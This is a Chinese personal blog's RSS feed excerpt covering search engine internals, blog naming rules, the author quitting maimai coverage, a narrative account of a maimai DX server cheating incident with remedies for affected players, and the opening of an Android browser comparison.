&lt;p&gt;搜索不是「把问题原封不动地交给搜索引擎」，而是「你给出的关键词质量，决定了你所能看到的世界广度和深度」。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;6. 搜索引擎的内部工作原理&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;tips&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;本章将侧重于可读性和核心流程，不会死磕复杂的算法细节，但会保证整体结构和概念的准确性。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;6.1 搜索引擎整体架构&lt;/h3&gt;
&lt;p&gt;典型的搜索引擎内部架构可以抽象为以下五大核心模块：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;graph TD
    A[User Query] --&amp;gt; B(Query Processing)
    B --&amp;gt; C(Index + Ranking System)
    C --&amp;gt; D(Document Storage + Cache)
    D --&amp;gt; E(SERP Rendering)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;6.2 爬虫系统&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;爬虫会主动在互联网上&lt;strong&gt;发现并下载网页内容&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;核心机制&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;遍历链接&lt;/strong&gt;：通过页面上的链接，不断发现新的 URL。
&lt;strong&gt;遵守 &lt;code&gt;robots.txt&lt;/code&gt; 公约&lt;/strong&gt;：尊重网站设置的抓取规则。
&lt;strong&gt;防止无限爬取（&lt;code&gt;循环检测&lt;/code&gt;）&lt;/strong&gt;：避免陷入无限循环或抓取冗余内容。
&lt;strong&gt;自适应更新频率&lt;/strong&gt;：对更热门、更新频繁的页面，会以更高的频率进行抓取。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;基本流程&lt;/strong&gt;：
初始 URL 列表 → 抓取页面 → 抽取新链接 → 加入待抓取队列 → 重复此过程。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;爬虫并非无脑抓取所有内容，它会根据&lt;strong&gt;权重和重要性&lt;/strong&gt;优先抓取「更有价值的网页」。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;6.3 内容解析与标准化&lt;/h3&gt;
&lt;p&gt;爬取来的原始网页通常不能直接用于检索，需要经过一系列的规范化处理：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;步骤&lt;/th&gt;
&lt;th&gt;解释&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;去除 HTML 样式和脚本&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;只保留页面中的纯文本内容。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Tokenization&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;将文本切分成有意义的词语单元，中英文处理策略不同。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Lemmatization&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;将不同词形还原为基本形式，如：&lt;code&gt;studying → study&lt;/code&gt;。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Stopwords&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;移除常见但无检索意义的词，如：&lt;code&gt;的 / a / the / 是 / 了&lt;/code&gt;。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Inverted Index&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;搜索引擎的核心数据结构，为快速检索打下基础。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;倒排索引的例子&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&quot;openwrt&quot;&lt;/code&gt; → 文档ID：&lt;code&gt;[1, 3, 7, 9, ...]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&quot;ipv6&quot;&lt;/code&gt; → 文档ID：&lt;code&gt;[3, 9, 10, 14, ...]&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;经过规范标准化处理后，每个&lt;strong&gt;关键词&lt;/strong&gt;都对应一个或多个文档 ID，关键词越小、越精确，搜索速度通常越快。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;6.4 排序&lt;/h3&gt;
&lt;p&gt;搜索引擎的排序模型，是决定搜索结果质量的关键。它通常由两个维度的评分组成：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;种类&lt;/th&gt;
&lt;th&gt;用于&lt;/th&gt;
&lt;th&gt;示例&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;静态评分&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;判断网页的&lt;strong&gt;整体固有价值&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;PageRank、域名权重、网站声誉等&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;动态评分&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;反映用户与网页的&lt;strong&gt;实时交互与满意程度&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CTR、Dwell Time、用户跳出率等行为统计&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;PageRank 原理简单回顾&lt;/strong&gt;：
一个网页的 PageRank 价值，大致等于&lt;strong&gt;所有指向它的网页的 PageRank 价值之和&lt;/strong&gt;，再根据这些指向网页的&lt;strong&gt;出链数量&lt;/strong&gt;进行平均分配。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;动态排序机制，使得搜索引擎能够不断&lt;strong&gt;学习和进化&lt;/strong&gt;，根据用户的真实反馈来调整排名。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;6.5 查询理解&lt;/h3&gt;
&lt;p&gt;当用户输入一个查询词时，搜索引擎会在内部进行复杂的「查询处理」，以更好地理解用户意图：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;拼写纠错&lt;/strong&gt;：自动修正用户输入中的拼写错误，如 &lt;code&gt;maiami → maimai&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;同义词扩展&lt;/strong&gt;：识别同义词并进行扩展，如 &lt;code&gt;router&lt;/code&gt; ⇆ &lt;code&gt;gateway&lt;/code&gt; ⇆ &lt;code&gt;CPE&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;意图分类&lt;/strong&gt;：判断用户的搜索意图是想找「教程 / 原理 / 购买 / 图片 / 视频」等。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;实体识别&lt;/strong&gt;：识别出查询中的专有名词或实体，例如识别 &lt;code&gt;舞萌&lt;/code&gt; 是一个游戏名称，而不是关于「舞蹈」的视频。&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;用户输入的原始查询，实际上会被搜索引擎&lt;strong&gt;重写&lt;/strong&gt;成一个更准确、更丰富的内部查询表达。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;6.6 排序后的结果呈现&lt;/h3&gt;
&lt;p&gt;搜索结果页面（&lt;code&gt;SERP, Search Engine Results Page&lt;/code&gt;）并不是一个纯粹的链接列表，而是会&lt;strong&gt;根据用户意图动态生成布局&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;技术问题&lt;/strong&gt;：通常会优先展示来自官方文档、Stack Overflow 等权威网站的结果。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;百科类查询&lt;/strong&gt;：倾向于优先展示维基百科、百度百科等知识聚合平台。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;购买倾向&lt;/strong&gt;：会集成商品卡片、比价信息，导向电商平台（如京东、淘宝）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;地点相关查询&lt;/strong&gt;：优先展示地图、商家信息。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;图片/音乐/视频&lt;/strong&gt;：以媒体网格视图呈现。&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;搜索引擎不是在简单地「猜你的意图」，而是在进行精密的&lt;strong&gt;意图分类路由&lt;/strong&gt;，将查询导向最适合的展示模板。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;6.7 用户反馈闭环 &lt;code&gt;Feedback Loop&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;现代搜索引擎是一个「活的系统」，它会持续记录和学习用户的行为数据，形成一个&lt;strong&gt;反馈闭环&lt;/strong&gt;，从而不断优化排序结果：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;指标&lt;/th&gt;
&lt;th&gt;含义&lt;/th&gt;
&lt;th&gt;对排序的影响&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CTR&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;用户是否点击了这条搜索结果&lt;/td&gt;
&lt;td&gt;高点击率 → 排序权重 ↑&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Dwell Time&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;用户在点击结果页面后停留了多久&lt;/td&gt;
&lt;td&gt;停留时间长 → 表明内容有价值，排序权重 ↑&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Pogo Sticking&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;用户点击后迅速返回搜索结果页&lt;/td&gt;
&lt;td&gt;表明内容不满意，排序权重 ↓&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;你越是频繁地使用搜索引擎，它就越能提供&lt;strong&gt;个性化&lt;/strong&gt;的搜索结果。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;p&gt;至此，我们已经过完了现代搜索引擎的大体逻辑。这里我们埋个坑，未来可能会出一期&lt;strong&gt;手把手教你搭建搜索引擎&lt;/strong&gt;。&lt;em&gt;至于这有什么用？我们不是已经有 Google/Bing 了？&lt;/em&gt; 是这样，&lt;s&gt;但这样干的确很好玩&lt;/s&gt;。&lt;/p&gt;
&lt;p&gt;Thanks For Watching.&lt;/p&gt;
&lt;p&gt;您可以通过 &lt;a href=&quot;https://t.me/CEPATECH/&quot;&gt;Telegram&lt;/a&gt; 以及我的个人邮箱 &lt;code&gt;qwq@chongxi.us&lt;/code&gt; 来联系我，欢迎对本文纠错，不胜感激。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;本篇与《现代SEO深度解析：原理、算法与实战》是互补的关系，如果您已阅读完本文并对SEO感兴趣，可以了解后文，&lt;a href=&quot;/2025/11/09/modernSEO/&quot;&gt;&amp;gt;点击跳转&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded><category>搜索引擎</category><category>SEO</category><author>Chongxi</author></item><item><title>规范一下Blog的命名体系</title><link>https://xice.cx/posts/blogRuleSet/</link><guid isPermaLink="true">https://xice.cx/posts/blogRuleSet/</guid><description>本文主要定义一下未来Blog的命名等各项规范</description><pubDate>Sat, 01 Nov 2025 08:00:00 GMT</pubDate><content:encoded>&lt;p&gt;正如标题所写，本文主要定义一下此blog的各项规范。既然准备长期运营下去，有一套成熟的规范体系是非常重要的。&lt;/p&gt;
&lt;h2&gt;关于&lt;code&gt;/content/posts/&lt;/code&gt;目录下的规范&lt;/h2&gt;
&lt;p&gt;第一级目录为年份，例&lt;code&gt;./2025/&lt;/code&gt;。&lt;br /&gt;
第二级目录为月份，例&lt;code&gt;./10/&lt;/code&gt;。&lt;br /&gt;
第三级目录为日，例&lt;code&gt;./26/&lt;/code&gt;。&lt;br /&gt;
第四级目录存放Markdown文件本体与其引用的媒体文件，例&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;2025/
- 10/
-- 26/
--- media/
---- example.webp
--- alpha.md
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;关于Markdown文件的命名，以&lt;code&gt;希腊字母&lt;/code&gt;进行命名，如&lt;code&gt;alpha&lt;/code&gt;,&lt;code&gt;beta&lt;/code&gt;...，主要解决同日多文的问题。&lt;/p&gt;
&lt;h2&gt;关于Tag的规范&lt;/h2&gt;
&lt;p&gt;Tag比较细化，一般一篇Blog的tag会包含其主要内容具有概括性的关键词。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;EXAMPLE&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;假设此篇文章主要内容为「三星手机解锁bootloader并刷入magisk提权过程」&lt;br /&gt;
那么该文章tag主要为&lt;code&gt;samsung&lt;/code&gt;,&lt;code&gt;root&lt;/code&gt;,&lt;code&gt;刷机&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;关于分类的规范&lt;/h2&gt;
&lt;p&gt;目前主要划分四大类别&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;TECH&lt;/strong&gt; 技术向内容，例：刷机、网安、项目开发等&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;LOG&lt;/strong&gt;  日常向内容，例：风景照、文学作品等&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;META&lt;/strong&gt; 关于blog的内容，例：本篇命名规范&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;VOID&lt;/strong&gt; 杂项/未分类&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;以上即为目前已制定的规范，过去已Published文章会逐步更进新的规范。后续如果有修订会及时同步。&lt;/p&gt;
&lt;p&gt;你好，十一月。&lt;br /&gt;
NOV 1 2025&lt;/p&gt;
</content:encoded><category>meta</category><author>Chongxi</author></item><item><title>本Blog自今日起将不再更新maimai相关内容</title><link>https://xice.cx/posts/ripRest/</link><guid isPermaLink="true">https://xice.cx/posts/ripRest/</guid><pubDate>Thu, 30 Oct 2025 08:00:00 GMT</pubDate><content:encoded>&lt;p&gt;先来讲讲我与maimai DX的故事吧。&lt;/p&gt;
&lt;p&gt;在2021年接触maimai DX之前，我主要摸&lt;code&gt;Beatmania IIDX&lt;/code&gt;，关于iidx的事情这里我们不多赘述。&lt;br /&gt;
2021年，Chongxi经朋友介绍，被朋友带入坑了maimai DX。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;由于当时的事情确实记得不多，就不作多描述&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我的第一段maimai DX历程是2021-2022初，当时并没有对maimai更深入了解，仅仅只是享受游戏的层面上。&lt;br /&gt;
2022年初，由于学业原因，弃坑maimai DX。&lt;/p&gt;
&lt;p&gt;第二段便是今年，DX2025更新后，我终于有了相对比较富裕的时间回坑maimai，由于微信号更换，便开了一个全新的maiNET账号从头开始。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;而就在这不到半年时间里，mai圈子此时的混乱程度让我难以接受了。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;首先便是DX2025令人忍俊不禁的加载速度，很难想象每次上机都要等四五分钟，而且还变成了常态。&lt;br /&gt;
经了解后，一部分原因是拉取rival+高延迟的问题，但更多是人为因素，是因为什么呢，好难猜啊。&lt;/p&gt;
&lt;p&gt;今年八月底九月初，mai圈的破事更进一步完善了我对这烂摊子的认知，首先便是全服大断网+扫号发票事件(具体可以看我同Blog下的文章)，之前其实有所听说过DX2023的大断网时代，毕竟没亲身经历过，没什么概念。这次算是非常完美地补全了这个遗憾，也让我见识到了我们mai的高防服务器，狗来了都能往服务器里拉屎，开挂的成本和难易度如此之低。&lt;/p&gt;
&lt;p&gt;最让我气笑的是，这次的发票事件，玩家找官方完全不受理，最终变成了用外挂来打击外挂这种极其荒谬的事情，我真不好说啥了。&lt;/p&gt;
&lt;p&gt;也非常感激在GitHub上开源maimai科技的各路神人，让我半个月内补全了退坑的三年时间里对mai的深层次了解，&lt;strong&gt;没想到我国的舞萌科技开发已发展到这种地步了&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;由于罚站时间实在让人无法忍受，这边无奈之下和机厅沟通后安装了科技盒子用于加速网络，我真没啥好说的了，机厅里有一款不用科技就没办法正常游玩的机台。&lt;/p&gt;
&lt;p&gt;再接下来便是整个十月份的陆陆续续断网，基本上每周服务器都要炸一次，这土豆服务器真给我看笑了。&lt;/p&gt;
&lt;p&gt;再一个便是Leak事件，Circle刚更新就能把FESTA跟着漏出来，甚至官方的KOP7赛事都漏出来一部分PV。&lt;br /&gt;
10月21日当晚下发的KOP7先行曲目的opt，22日早就能有人去做铺面确认把内容public出来，比官方规定的30日开启提前了一个多星期，这就是我们SEGA的保密工作啊。&lt;/p&gt;
&lt;p&gt;最近这几天更是闹了一波大的，具体事情我就不讲了，没意思，烂圈子碰上烂圈子，都烂完了。&lt;/p&gt;
&lt;p&gt;SEGA拖更新进度，服务器外挂问题不作为。华立如无能丈夫。玩家群体也干了。这就是我们国服舞萌，从上游到下游，全烂完了。&lt;/p&gt;
&lt;p&gt;自此篇Blog发出时，我已停用属于我的全部bot以及其他相关工具的maimai功能，抱歉带来的不便，也希望能够理解。&lt;br /&gt;
我是真不想再蹚这潭浑水了，没意义。&lt;br /&gt;
就这样吧。&lt;/p&gt;
&lt;p&gt;OCT. 30 2025&lt;/p&gt;
</content:encoded><category>maimai</category><category>杂谈</category><author>Chongxi</author></item><item><title>mai纪事:9月大规模科技扫号和国服万花筒事件</title><link>https://xice.cx/posts/maiLog20250906/</link><guid isPermaLink="true">https://xice.cx/posts/maiLog20250906/</guid><description>本文主要讲述了科技扫号和万花筒事件的来龙去脉，并给出了被扫号的解决方案</description><pubDate>Sun, 07 Sep 2025 08:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;note&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;本文提及的舞萌均为华立科技在中国大陆发行的&lt;code&gt;舞萌DX&lt;/code&gt;版本&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;前情提要&lt;/h2&gt;
&lt;p&gt;在这周周末(9-6)之前一段时间，华立服务器非常炸，登录状态没有及时登出，导致大多数正常玩家被关小黑屋。&lt;/p&gt;
&lt;h2&gt;周六(9/6) 上午&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;华立服务器稍有异常，表现在无法正常登出账号被关小黑屋。&lt;/li&gt;
&lt;li&gt;Chongxi勤一上午基本没什么问题，传分登录都正常。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;周六 下午&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;下午一点，开始有玩家反馈服务器问题比较严重，依旧表现在小黑屋、无法扫号登入、断网等方面。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;下午2:37，由于Chongxi所在的机厅使用了神秘转发，这边有玩家反馈只能使用转发服务器的二维码登入，微信公众号二维码无法正常登入。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./maiLog20250906/3.jpg&quot; alt=&quot;3.jpg&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;下午2:58，有人开始反馈被异常塞入五倍票，此时已经可以确定有挂哥开始扫号了&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./maiLog20250906/2.jpg&quot; alt=&quot;2.jpg&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;下午三点，Chongxi这时候来机厅，发现根本无法通过舞萌官方二维码登入账号，只能通过使用的神秘服务器转发缓存登入，如下图&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./maiLog20250906/1.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./maiLog20250906/4.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;约下午四点半，华立服务器应该进行了抢修，此时上传服务已正常，可以正常传分，但是挂哥依旧在全服扫号发票。&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;note&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;为什么挂哥要发票？当你的账号存在两张以上补偿票时，成绩异常，将无法上传成绩。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;晚上八点，这时候来了另外一个事情，国服万花筒。起因是，Chongxi在看海鲜市场，无意发现了一位卖国服钥匙的，顺手把图发到了群里并询问可行性。
&lt;img src=&quot;./maiLog20250906/5.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;在通过一段时间摸索后，Chongxi给自己号上发了门和钥匙，并把万花筒模式拍照发给了自己的一个朋友。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;随后便是出乎意料的大规模传播，不到两个小时后便传遍了大多舞萌群，下面是部分解释。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;国服万花筒&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;关于这个被发钥匙的聊天记录，为假，这张图最早就是我顺手发的那张问朋友是否可行的图片。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./maiLog20250906/6.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;至于国服是否可以开启万花筒，这个各位应该都有答案了。下面那个证伪不攻自破&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./maiLog20250906/7.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./maiLog20250906/8.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;我的那张万花筒可以说是闹的很沸沸扬扬了，我可以说的是，国服目前确实可以发，怎么发不能讲。如果你真的不相信，可以来找我拼机（什&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./maiLog20250906/9.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;这张图相信各位都看过了吧，引起乱传的主要问题可能是因为CCBY(，已严肃更改为&lt;code&gt;2025©xi All Rights Reserved&lt;/code&gt;（不是&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;目前挂哥的行为为：全服发票，登号续关小黑屋，使玩家无法正常游玩&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;周日(9/7) 上午&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;上午十一点，这时有人反馈科技哥发&lt;code&gt;一倍票&lt;/code&gt;，很难憋笑，科技哥发id1的行为足以看出其技术力不足。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./maiLog20250906/10.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;随后开始有人反馈科技哥发送的倍率票日期有问题，科技哥开始给全服玩家塞敏感日期的倍率票，这时候科技哥的动机我就不好评价了&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./maiLog20250906/11.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;这已经不是影响玩家游玩的问题了，科技哥让事态升级叠加了一下奖池。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;万花筒 part2&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;这时候QQ传的更广的图为这张，这张图为魔改，并非官服&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./maiLog20250906/12.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;目前挂哥行为：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;发票 无法正常传分&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;扫号 使正常玩家无法登入账号 进入小黑屋&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;目前挂哥还没有掌握传分等高级技术。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;截至晚上9:01，挂哥终于是消停了，不再有发票的情况了，这件事自此算是完结了....吗？&lt;/h3&gt;
&lt;h2&gt;九月八日 周一&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;caution&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;以下内容来源于各群聊聊天记录，缺乏真实性考证，Chongxi不为以下内容真实性负责&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;有人上报被发了白系理论&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Chongxi猜测可能是自导自演自娱自乐，自己给自己发了成绩然后一张图全靠编，毕竟前文已经有万花筒这个教训了，当然只是猜测，也有可能确实是真的&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;有反馈被发wec牌子&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;由于这些事情真实性欠考证，所以暂时一笔带过。有后续会持续更新&lt;/p&gt;
&lt;h2&gt;扫号解决方案&lt;/h2&gt;
&lt;p&gt;目前有以下解决办法&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;milkbot 可查询票数以及消票 使用请见&lt;a href=&quot;https://xice.cx/posts/toolsForMaimai/&quot;&gt;此文章&lt;/a&gt;底部给出的链接&lt;/li&gt;
&lt;li&gt;奈伊bot 群号:747686616 支持清票查票/解黑屋&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;欢迎各位向我反馈更多解决方案&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;在此向致力维护游戏环境的各位致以最高敬意。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;为什么没泄漏二维码也能被扫？&lt;/h2&gt;
&lt;p&gt;挂哥通过User ID登入你的账号，之前有讲，详见&lt;a href=&quot;https://xice.cx/posts/toolsForMaimai/&quot;&gt;此文章&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;不被挂哥登号的唯一办法也就不获取二维码了。&lt;/p&gt;
</content:encoded><category>maimai</category><category>杂谈</category><author>Chongxi</author></item><item><title>聊聊Android上五花八门的浏览器</title><link>https://xice.cx/posts/browserOnAndroid/</link><guid isPermaLink="true">https://xice.cx/posts/browserOnAndroid/</guid><description>本文纵向对比了Android平台的浏览器，并分析了相关特色</description><pubDate>Tue, 02 Sep 2025 08:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Android富有多样性。与iOS上所有浏览器都基于Safari内核不同，这使得Android上大多数浏览器都可以使用自家内核，提供别具特色的体验&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;tip&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;本文若无特殊说明，提到的浏览器均指Android平台&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;OEM厂商定制浏览器&lt;/h2&gt;
&lt;p&gt;得益于Android的开放，您拿到手机时，系统默认的浏览器往往不是Chrome，而是OEM厂商「精心打造」的定制浏览器。例如小米浏览器，华为浏览器等。&lt;/p&gt;
&lt;h3&gt;Samsung Internet(三星浏览器)&lt;/h3&gt;
&lt;p&gt;一众OEM定制浏览器中的顶级。基于&lt;code&gt;Blink&lt;/code&gt;内核，采用&lt;code&gt;OneUI&lt;/code&gt;设计，风格统一。特点如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;反追踪&lt;/strong&gt;：可以阻止追踪器，第三方cookie等。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;反骚扰&lt;/strong&gt;：向后反重定向，弹出窗口拦截，应用跳转拦截。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;广告拦截&lt;/strong&gt;：支持安装第三方广告拦截插件&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;视频助手&lt;/strong&gt;：极佳的视频播放体验&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;后台播放&lt;/strong&gt;：使其可以免YouTube Premium在后台播放视频&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;强制深色&lt;/strong&gt;：极佳的网站强制深色模式&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Samsung Pass&lt;/strong&gt;：三星自己的自动填充服务，&lt;strong&gt;但Google填充无法工作&lt;/strong&gt;，这也是我放弃他的原因&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;区域限制&lt;/strong&gt;：国区三星无法使用Google作为搜索引擎，需要改区。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;国产厂商OEM浏览器&lt;/h3&gt;
